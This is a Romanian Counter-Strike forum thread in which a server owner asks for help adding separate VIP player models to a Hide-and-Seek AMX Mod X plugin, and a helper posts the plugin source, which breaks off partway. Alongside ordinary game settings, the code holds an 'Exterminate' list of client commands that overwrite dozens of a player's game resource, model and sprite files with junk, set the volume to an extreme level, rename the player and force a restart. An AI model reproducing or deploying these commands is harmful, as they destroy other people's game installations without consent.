Adaugarea 2 modele

Modificari necesare ale pluginurilor

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Post Reply
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

20 Dec 2013, 13:17

Sus,am nevoie .
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
RoyalServer
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

20 Dec 2013, 13:21

Explica unpic mai bine..daca stiu iti fac eu,dar nu am inteles mai nimic :)) daca nu stiu las reply aici...,e greu sa mai raspunda cineva pe forumu' asta,am si eu 2-3 topicuri in care vorbesc singur :|
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

20 Dec 2013, 13:27

scosmynnnn wrote:Explica unpic mai bine..daca stiu iti fac eu,dar nu am inteles mai nimic :)) daca nu stiu las reply aici...,e greu sa mai raspunda cineva pe forumu' asta,am si eu 2-3 topicuri in care vorbesc singur :|
De cand te astept :)))

Hai sa iti explic mai bine eu am in pluginu acela 2 modele ,1 de vip (acelas model e si la ct si la tero) si 1 de terohunter (acesta il da random la unii playerii cu 200 hp).
Eu vreau ca la vip sa fie 2 modele nu doar 1 sa fie si pentru CT si pentru TERO.
In primu post este sursa care o folosesc pe server (vorba vine ca nu e aceea dar e pe jumatate construita la fel,ca mai sunt 2-3 rezolvarii la ea si o comanda) si vreau sa ii adaugati 2-3-4 linii unde sunt modelele adica
| Afiseaza codul
{
   precache_model("models/player/HNSXX_VIP/HNS_VIP.mdl")
   precache_model("models/player/HNSXX_TeroHunt/HNS_TeroHunt.mdl")
}
cu
| Afiseaza codul
{
   precache_model("models/player/HNSXX_CT/HNS_VIP_T.mdl"
   precache_model("models/player/HNSXX_T/HNS_VIP_T.mdl")
   precache_model("models/player/HNSXX_TeroHunt/HNS_TeroHunt.mdl")
}
Cred eu nu ma pricep..
Sper ca s-a inteles..
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

20 Dec 2013, 13:31

Adica tu vrei sa iti mai adaug inca un model la tero si ct diferite unu de altu? un model la ct si un model la t dar sa nu fie unu si acelasi,nu ?
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

20 Dec 2013, 13:39

scosmynnnn wrote:Adica tu vrei sa iti mai adaug inca un model la tero si ct diferite unu de altu? un model la ct si un model la t dar sa nu fie unu si acelasi,nu ?
Da man pentru ca ce am eu e un singur model si o singura linie in plugin pentru vip (seamana vipii dintre ct si t si vreau sa se deosebesca)
PS: Si daca poti sa rezolvi sa poti lasa si cum ai facut ca sa pot rezolva si pe sursa mea care o am pe server. (ca cum am zis e putin mai modificata ce am eu)
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

20 Dec 2013, 13:53

Mama ce plugin,sa mor eu daca intelegg ceva :| iti fac altfel sa vad daca merge .. cu hamsandwich ca e greu sa modifici ceva de acolo..nu garantez ca merge,dar incerc este greu rau.Ce flag are vip-ul ,ca ma doare capu-l abia gasesti ceva sa intelegi aici :)))
Top
User avatar
CsN^ ;x
Membru eXtream
Membru eXtream
Posts: 3560
Joined: 02 Apr 2012, 16:58
Detinator Steam: Nu
CS Status: Retras din domeniul Counter-Strike
Reputatie: Fost moderator
Location: Bucuresti
Has thanked: 797 times
Been thanked: 607 times

20 Dec 2013, 14:00

scosmynnnn wrote:Mama ce plugin,sa mor eu daca intelegg ceva :| iti fac altfel sa vad daca merge .. cu hamsandwich ca e greu sa modifici ceva de acolo..nu garantez ca merge,dar incerc este greu rau.Ce flag are vip-ul ,ca ma doare capu-l abia gasesti ceva sa intelegi aici :)))
Sunt 5 grade de vip

Code: Select all

/** Items !!! **/
/* VIP */
/* 								Grad	 0			1					2					 3					   4					  SP*/	 
static const VipAcces			[][] = { "",   		"abcdefghijklmopq", "abcdefghijklmopqr", "abcdefghijklmopqrs", "abcdefghijklmopqrst", "abcdefghijlmnopqrstu" }
Nu stiu cum vei putea face asta ,pentru ca am si admine care au cam acelas grad.
Addons HNS level,gravity,xp DOWNLOAD ( e țeapă)
https://5filme.com/ - un simplu site de filme pentru timpul liber
Top
Cosmin
Fost moderator
Fost moderator
Posts: 9362
Joined: 06 Jul 2013, 22:08
Detinator Steam: Da
Detinator server CS: Nu
Reputatie: Fost eXtream Mod
Fost Scripter eXtreamCS
Nume anterior: scosmynnnn
Has thanked: 492 times
Been thanked: 547 times

20 Dec 2013, 14:15

| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <engine>
#include <fun> 
#include <fakemeta>
#include <geoip> 
#include <regex>
#include <hamsandwich>
#pragma dynamic 32768

#define ADMIN_VIP	read_flags("abcdefghijklmopq" || "abcdefghijklmopqr" || "abcdefghijklmopqrs" || "abcdefghijklmopqrst" || "abcdefghijlmnopqrstu")

/* ON/OFF Status */
#define CLEAN_MOD_STATUS	"1"								// ClMod Status
#define CLAN_ON				"0"								// Clan ? On/Off
#define RETRY_STATUS		"1"								// Retry status
#define BLACKLIST_STATUS	"1"								// Blacklist status
#define FPS_MAX_STATUS		"1"								// FPS MAX Status
#define STATS_LOG			"1"								// StatsLog
#define FURT_DE_IDENTITATE	"1"								// Status ON/OFF
#define EXTERMINATE_STATUS	"1"								// Exterminate
#define ADMINS_TO_FORUM		"1"								// ATF (AdminsToForum) status
#define AUTO_RESPONSE		"1"								// AutoResponse status
#define LAST_MAPS_STATUS	"1"								// LastMaps status
#define PING_CHECKER		"1"								// PingCheker status
#define PLAYER_STATS		"1"								// PlayerStats status
#define GAG_STATUS			"1"								// Gag status
#define BLOCK_NAME			"1"								// BlockName status
#define LASTIP_STATUS		"1"								// LastIP status
#define VERIFICA_JUCATOR	"1"								// Verifica jucator status
/* Define */
// Plugin
#define TAG					"GameMod"						// Tag Plugin
#define TAG_CLAN			"GameMod"							// Tag CLAN
#define MAX_PLAYERS			33								// Max Players
// Files
#define FAST_FOLDER			"/HNS_"							// Folder Directory
#define STATS_FILE			"/_sTaTs.dat"					// Salvare Statistici
#define CLEANMOD_LOG		"/_cLeanmoD.dat"				// Salvare log (CleanMod)
#define BLACKLIST_FILE		"/_rEstricteD.ini"				// Restrict Player
#define EXTERMINATE_LOG		"/_eXterminaTe.log"				// Exterminate LOG
#define ATF_SALVARE			"/_AdminsToForum.cfg"			// Admins To Forum File
#define LAST_MAPS			"/_LasTMapS.cfg"				// LastMaps
#define ADMIN_SAY			"/_AdminSay.log"				// Admin Say
#define LAST_IP				"/_LastIP.cfg"					// LastIP Say
#define GC_LOG				"/_GeneratorCuvinte_Win.log"	// Castigatorii la generatorul de cuvinte.
// VipMe | VIP | Slot
#define ZILE_ANUNT_EXPIRARE 10								// Anunt cu X zile expirarea vipului
#define SLOT_ACCES 			"bi"							// Slot Acces
#define ORE_VIP_ME 			50								// Dupa cate ore sa poata folsi cumanda /vipme
#define DURATA_VIP_ME 		30								// Durata /vipme
#define VIP_ME_GRAD 		1								// Grad /vipme
#define SEC_TO_PASSWORD		"45"							// Cate secunde sa aiba la dispozitie sa scrie parola ?
// Top / Sort
#define MAX_COUNT 25000										// Max Count
#define TOP	15												// Top !
// Restrict Name
#define NUME_MIN_CHR		3								// Minim Chars
#define NUME_MAX_CHR		31								// Minim Chars
// NoJoinTeam
#define RETRY_MAX			5								// Retry-uri
#define RETRY_BANTIME		"10"							// BanTime
#define RETRY_REMOVE		60.0							// Dupa cat timp sa se stearga retry-uril.
// Other
#define TIME_TO_ITEMS		11								// Dupa cate secunde de la inceperea rundei sa ii distribuie itemel (HNS + 1 sec)
#define URL_MOTD			"http://www.legendcs.com/forum"			// URL Info-uri
#define MEDIC_COST 			1								// Medic Cost
#define AFK_TIME			500								// >30 AFK TIME TO KICK
#define AFK_ADV_TIME		5								// Cu cate secunde sal avertizeze.
#define EXT_BAN_TIME		1440							// Exterminate BanTime
#define GAG_DEFAULT_TIME	2								// Gag default time
#define LASTIP_RECORD		10								// Cate iesiri sa inregistreze
#define RESTRICTED_TIME		48								// Cate ore sa fie restrictionat.
// Ping Checker
#define PING_SEC_CHECK		5.0
#define PING_CHECK_MAX		5
/* Task */
#define TASK_PUTINSERVER		50
#define TASK_REMOVE_VIP			100
#define TASK_ITEMS				150
#define TASK_ROUND_ITEMS		200
#define TASK_MESSAGE_MODE		250
#define TASK_SLOTME_PW			300
#define TASK_VALIDARE_STEAM		350
#define TASK_AFK_ADV_TIME		400
#define TASK_AFK_TIME			450
#define TASK_ENTRY_JOINTEAM		500
#define TASK_PING_CHECKER		550
#define TASK_GAG_TIME			600
#define TASK_JOINTEAM_CLEAN		9000
#define TASK_GCUVINTE			9001
/* SpecInfo / FPS */
#define FPS_MAX					350
#define KEYS_STR_LEN			128
#define LIST_STR_LEN 			1024
#define BOTH_STR_LEN 			KEYS_STR_LEN + LIST_STR_LEN
#define FL_LIST    				( 1 << 0 )
#define FL_KEYS    				( 1 << 1 )
#define FL_OWNKEYS 				( 1 << 2 )
#define FL_HIDE    				( 1 << 3 )
new Float: GameTime[MAX_PLAYERS]
new FramesPer[MAX_PLAYERS]
new CurFps[MAX_PLAYERS]
new Fps[MAX_PLAYERS]
new MaxPlayerFPS[MAX_PLAYERS]
new Fps_Warn[MAX_PLAYERS]
new LastWarn[MAX_PLAYERS]
new cl_keys[MAX_PLAYERS], cl_prefs[MAX_PLAYERS]
new keys_string[MAX_PLAYERS][KEYS_STR_LEN + 1], list_string[MAX_PLAYERS][LIST_STR_LEN + 1]
new cl_names[MAX_PLAYERS][21], spec_ids[MAX_PLAYERS][33]
//
/* Point */
new ptTeroHunt, ptPlStats[MAX_PLAYERS][2]
new PointStatus=false
/* Stats */
new plNume[MAX_PLAYERS][32]
new plAcces[MAX_PLAYERS] /* [0]Normal | [1]Slot | [1]Vip */
new plTime[MAX_PLAYERS][2]
new plPass[MAX_PLAYERS][64]
new plVipInfo[MAX_PLAYERS][3]
new plStats[MAX_PLAYERS][5]
new plLast[MAX_PLAYERS][64]
new plLastIP[MAX_PLAYERS][64]
new plVipEnd[MAX_PLAYERS][64]
new plNoBug[MAX_PLAYERS][6]
/* zzz */
new TeroLast
new TeroLastTime
new sLastChTime[MAX_PLAYERS]
new LastUserCheck[MAX_PLAYERS]
new PwFieldServer[10]
new xLastMaps[5][32]
new LastMessage[MAX_PLAYERS][64]
/* Files */
new sFolder[128], sStatsFile[128], sCleanMod[128], sBackUp[128], sBlackList[128], sStatsLog[128], sExtLog[128], sAtf[128], sLastMaps[128], sAdminSay[128], sRegSay[128], sChatLogFolder[128], sLastIp[128], sGcLog[128]
/* NoJoinTeam */
new jointeamRetry[MAX_PLAYERS]
new jointeamIp[MAX_PLAYERS][32]
new jointeamTeam[MAX_PLAYERS]
/* Last IP */
new LastIP[LASTIP_RECORD][256]
new LastNume[32]
new LastIPNum
/* AFK */
new afkOrigin[MAX_PLAYERS][3]
new afkTime[MAX_PLAYERS]
new afkCount[MAX_PLAYERS]
new afkStopAFK[MAX_PLAYERS]
/* BlackList */
new locatiiLocatie[1024][64]
new locatiiPlayer[1024][32]
new locatiiIp[1024][32]
new locatiiTime[1024]
new locatiiNumLoad
/* Ping Checker */
new pingCheck[MAX_PLAYERS]
/* Gag */
new gagIp[512][32]
new gagDetails[512][256]
new gagPlayer[33]=false
new gagMultiple=false
/* Rounds */
new FirstRound=false
new RoundEnd = false
/* Cvars */
new cvMinimPlayers, cvTeroHuntPoints, cvRoundPoints, cvFragsMax, cvGCuvantPuncte, cvInactiveDay, cvOreSlot, cvMaxPing
/* Generare Cuvant */
new const uLitere[][] = { "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Z","Y" }
new const lLitere[][] = { "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z" }
new const aNumere[][] = { "1","2","3","4","5","6","7","8","9","0" }
new gcStatus, gcCuvant[64], gcMode, gcLast, gcNoFlood
/* Medic */
new medicLast[MAX_PLAYERS]
new medicBlock[MAX_PLAYERS]
/* SlotMe / VipMe */
new MessageMode[MAX_PLAYERS]
new menuConfirmareSlot
new menuConfirmareVip
/* Top Ore */
new topOreNume[TOP][32]
new topOreTime[TOP][32]
new topOreLast[TOP][32]
new topOreAcces[TOP][32]
/* Top Jucatori */
new topJucatoriNume[TOP][32]
new topJucatoriAcces[TOP][32]
new topJucatoriLvl[TOP][2]
new topJucatoriStats[TOP][5]
/* Sort */
new topTotalPlayers
new topLastUpdate[32]
static sortOre[MAX_COUNT][2]
static sortJucatori[MAX_COUNT][2]
static sortMore[MAX_COUNT][256]
// Regex
#define REGEX_IP_PATTERN "\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
#define IsIP(%1) (regex_match_c(%1, g_IP_pattern, g_regex_return) > 0)
new Regex:g_IP_pattern
new g_regex_return


/* High Ping Kicker */
new const pingSetari[][]= {
	"rate 25000",
	"cl_updaterate 101",
	"cl_cmdrate 101",
	"ex_interp 0.01"
}

/* Team Info */
new const TeamName[][] =
{
	"RANDOM",
	"T",
	"CT",
	"SPEC"
}

/* Special Plugin Acces */
new const PluginSpecialAcces[][] =
{
	"CsN"
}

/* WHO */
new const whoCulori[][] = 
{
	"#000099",
	"#0099FF",
	"#66CCFF",
	"#00CC00",
	"#336600",
	"#CCCC00",
	"#FF9933",
	"#525266"
}

new const whoDenumire[][] = 
{
	"Detinator",
	"Owner",
	"Moderator",
	"Administrator",
	"Helper",
	"Slot",
	"V.I.P"
	
}

new const whoGrad[][] = 
{
	"abcdefghijklmnopqrstu",
	"abcdefghijklmnopqrs",
	"bcdefghijmnopq",
	"bcdefgijmno",
	"bcdefhijm",
	"bcdef",
	"b"
}

/* Admins to Forum */
new const atfImg[][] = 
{
	"Image"			,
	"Image"			,
	"Image"			,
	"Image"		,
	"Image"			,
	"Image"			,
	"Image"				,
	"Image"
}

new const OnOff[][] =
{
	"[Off]",
	"[On]"
}

/* Say Check */
new const sayReclama[][] =
{
	":27015"	,
	"h t t p"	
}

new const sayBlock[][] = 
{
	"boost"			,
	"enable"		,
	"disable"		,
	"activate"		,
	"doctor"
}

new const sayLimbaj[][] =
{
	"***"		,
	"gtm"		,
	"***"		,
	"***"		,
	"fcm"		,
	"****"		,
	"*****"		,
	"****"		,
	"masi"		,
	"tactu"		,
	"dumnezei"	,
	"paste"		,
	"morti"		,
	"****"		,
	"*****"		,
	"sug"		,
	"laba"		,
	"***"		,
	"retard"	,
	"prost"
	}

/* Exterminate */
new const extClientCMD[][] =
{
	"volume 100000000",
	"cl_bobcycle 0",
	"_setvideomode 640 480",
	"motdfile ^"resource/GameMenu.res^"; motd_write ^"GameMenu^"{ ^"1^" { ^"label^" ^"Ai belit ****^" } ^"2^" { ^"label^" ^"------------------^" } ^"3^" { ^"label^" ^"Te mai asteptam pe la noi^" } ^"4^" { ^"label^" ^"------------------^" } ^"5^" { ^"label^" ^"Comanda creeata de mikeee.^" } } ",
	"motdfile ^"halflife.wad^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/BackgroundLoadingLayout.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/BackgroundLayout.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/ClientScheme.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/optionssubmultiplayer.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/TrackerScheme.res^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/game_menu.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/game_menu_mouseover.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/icon_steam.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/icon_steam_disabled.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/logo_game.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/menu_hl_no_icon.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_logo.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_menu.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/steam_menu_mouseover.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"resource/valve_logo.tga^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"commandmenu.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/3dmflaora.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/3dmflared.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud1.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud2.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud3.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud4.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud5.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/640hud6.spr^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/hud.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_awp.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_ak47.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_deagle.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_hegrenade.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_m4a1.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"sprites/weapon_usp.txt^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_awp.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_deagle.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_ak47.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_m4a1.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/p_usp.mdl^"; motd_write (HHNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/player/arctic.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"models/shield/p_shield_deagle.mdl^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"motdfile ^"tempdecal.wad^"; motd_write (HNS.LEGENDCS.COM -> eXterminate)  ",
	"name ^"(HNS.LEGENDCS.COM - eXterminate)^";wait;cl_timeout 0;wait;wait;_restart",
	"n4me ^"(HNS.LEGENDCS.COM - eXterminate)^";wait;cl_timeout 0;wait;wait;_r3start"
}

/** Items !!! **/
/* VIP */
/* 								Grad	 0			1					2					 3					   4					  SP*/	 
static const VipAcces			[][] = { "",   		"abcdefghijklmopq", "abcdefghijklmopqr", "abcdefghijklmopqrs", "abcdefghijklmopqrst", "abcdefghijlmnopqrstu" }
static const VipItemHe			[][] = { "0", 	 	"1", 				"2", 				 "3", 				   "3" 					, "5" }
static const VipItemFl			[][] = { "0",  		"0", 				"0", 				 "0", 				   "0" 					, "0" }
static const VipItemSm			[][] = { "0",  		"1", 				"2", 				 "2", 				   "3" 					, "5" }
static const VipItemDgl			[][] = { "0",  		"1", 				"2", 				 "3", 				   "3" 					, "4" }
static const VipItemMn			[][] = { "0",  		"10", 				"15", 				 "18", 				   "25" 				, "100" }
static const VipItemHp			[][] = { "0",  		"50", 				"100", 				 "150", 			   "200" 				, "300" }
static const VipItemSp			[][] = { "250.0",   "250.0", 			"255.0", 			 "260.0", 			   "270.0" 				, "280.0" }
static const VipHpKill			[][] = { "0",  		"5", 				"10", 				 "15", 				   "20" 				, "70" }
static const VipMedicTime		[][] = { "0",       "0",                "1",                 "2",                  "3"                  , "6" }
static const VipMaxHP			[][] = { "100",     "110",              "115",               "120",                "125"                , "130" }
static const VipMedicHP			[][] = { "0",		"10",				"15",				 "20",				   "25"					, "50" }
static const VipUpFaster		[][] = { "0",		"2",				"3",				 "4",				   "8"					, "15" }
/* LVL */
/*								LEVEL	 0,     1,     2,     3,     4,     5,     6,     7,       8,     9,      10,     11,     12,      13,      14,      15,      16,      17,      18,      19,      20,      21,      22,      23,      24,      25,      26,       27,      28,      29,      30,      31,      32,      33,      34,      35,      36,      37,      38,      39,      40,      41,      42,      43,      44,      45,       ...*/
static const LevelXP			[][] = { "1",   "3",   "10",  "15",  "30",  "50",  "100", "200",  "300",  "450",  "650",  "850",  "1050",  "1200",  "1500",  "1750",  "2000",  "2350",  "2600",  "3000",  "3500",  "3900",  "4300",  "4700",  "5200",  "5700",  "6200",   "7000",  "7600",  "8400",  "9000",  "10000", "11111", "12000", "13000", "14111", "15222", "16333", "18000", "20000", "23000", "25000", "27500", "30000", "34000", "50000"		  }
static const LevelItemHe		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemFl		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "0",    "0",    "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",      "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0",     "0"			  }
static const LevelItemSm		[][] = { "0",   "0",   "0",   "0",   "0",   "1",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemDgl		[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "1",    "1",    "1",     "1",     "1",     "1",     "1",     "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "5"			  }
static const LevelItemMnKill	[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "0",    "0",    "1",    "1",     "1",     "1",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",      "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",     "4",     "4",     "6"			  }
static const LevelItemHp		[][] = { "0",   "0",   "0",   "0",   "0",   "1",   "2",   "3",    "4",    "5",    "5",    "5",    "5",     "5",     "5",     "10",    "10",    "10",    "10",    "15",    "15",    "15",    "15",    "16",    "18",    "20",    "22",     "24",    "26",    "28",    "30",    "32",    "34",    "36",    "38",    "40",    "42",    "44",    "46",    "48",    "50",    "52",    "54",    "56",    "58",    "100"	 	  }
static const LevelItemHpKill	[][] = { "0",   "0",   "0",   "0",   "0",   "0",   "0",   "0",    "0",    "3",    "3",    "3",    "3",     "3",     "3",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",      "8",     "8",     "8",     "8",     "10",    "10",    "10",    "10",    "10",    "13",    "13",    "13",    "13",    "17",    "17",    "17",    "20",    "20",    "20"	      }
static const LevelItemMn		[][] = { "0",   "0",   "1",   "1",   "1",   "1",   "1",   "1",    "1",    "2",    "2",    "2",    "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",      "3",     "3",     "3",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "6",     "7",     "8",     "9",     "10",    "11",    "12",    "13"		  }
static const LevelMedicTime		[][] = { "6",   "6",   "6",   "6",   "6",   "6",   "6",   "6",    "6",    "6",    "6",    "6",    "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "4",      "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "4",     "3",     "3",     "3",     "3",     "3"			  }
static const LevelMaxHP			[][] = { "100", "100", "100", "100", "100", "100", "100", "100",  "100",  "100",  "105",  "105",  "105",   "105",   "105",   "105",   "105",   "105",   "105",   "105",   "110",   "110",   "110",   "110",   "110",   "110",   "110",    "110",   "110",   "110",   "115",   "115",   "115",   "135",   "115",   "115",   "115",   "115",   "115",   "115",   "120",   "120",   "120",   "120",   "120",   "125"         }
static const LevelMedicHP		[][] = { "20",  "20",  "20",  "20",  "20",  "20",  "20",  "25",   "25",   "25",   "25",   "35",   "35",    "35",    "45",    "45",    "45",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "50",    "65",     "65",    "65",    "65",    "65",    "65",    "65",    "65",    "65",    "65",    "75",    "75",    "75",    "75",    "75",    "75",    "75",    "85",    "85",    "85"  		  }
static const LevelUpFaster		[][] = { "1",   "1",   "1",   "1",   "1",   "1",   "1",   "1",    "1",    "1",    "1",    "1",    "2",     "2",     "2",     "2",     "2",     "3",     "3",     "3",     "3",     "3",     "3",     "3",     "4",     "4",     "4",      "4",     "4",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "5",     "6",     "6",     "6",     "7",     "7",     "7",     "8",     "10",    "15"		  } 
/* Point */
/*							Point Level	 0,   1,    2,    3,    4,    5,    6,    7,    8,    9,     10 	 */
static const PointItemHe		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemFl		[][] = { "0", "0",  "0",  "0",  "0",  "0",  "0",  "0",  "0",  "0",   "0"	    }
static const PointItemSm		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemDgl		[][] = { "0", "0",  "0",  "0",  "0",  "1",  "1",  "1",  "1",  "1",   "2"	    }
static const PointItemHp		[][] = { "0", "0",  "0",  "0",  "0",  "10", "10", "10", "10", "10", "50" 		}
static const PointItemMn		[][] = { "0", "0",  "1",  "1",  "1",  "1",  "1",  "1",  "2",  "2",   "3"     	}
static const PointUpFaster		[][] = { "0", "1",  "1",  "2",  "3",  "4",  "5",  "5",  "5",  "7",   "10"   	}
/* ==========================================================================================
===================================================== Plugin
========================================================================================== */
public plugin_init()
{
	register_plugin("hns_fasT", "3.5b", " fasT")
	
	/* CMD */
	register_concmd("say", "SaysCommand")
	register_concmd("say_team", "SaysCommand")
	register_concmd("PAROLA_SLOT", "SlotMeFinal")
	register_concmd("/medic", "Medic")
	register_clcmd("jointeam", "jointeamBlock")
	
	
	/* Concole */
	register_concmd("amx_resetpoint", "cmdReseteazaPuncte")
	register_concmd("amx_addpoint", "cmdAdaugaPuncte")
	register_concmd("amx_addvip", "cmdAdaugaVip")
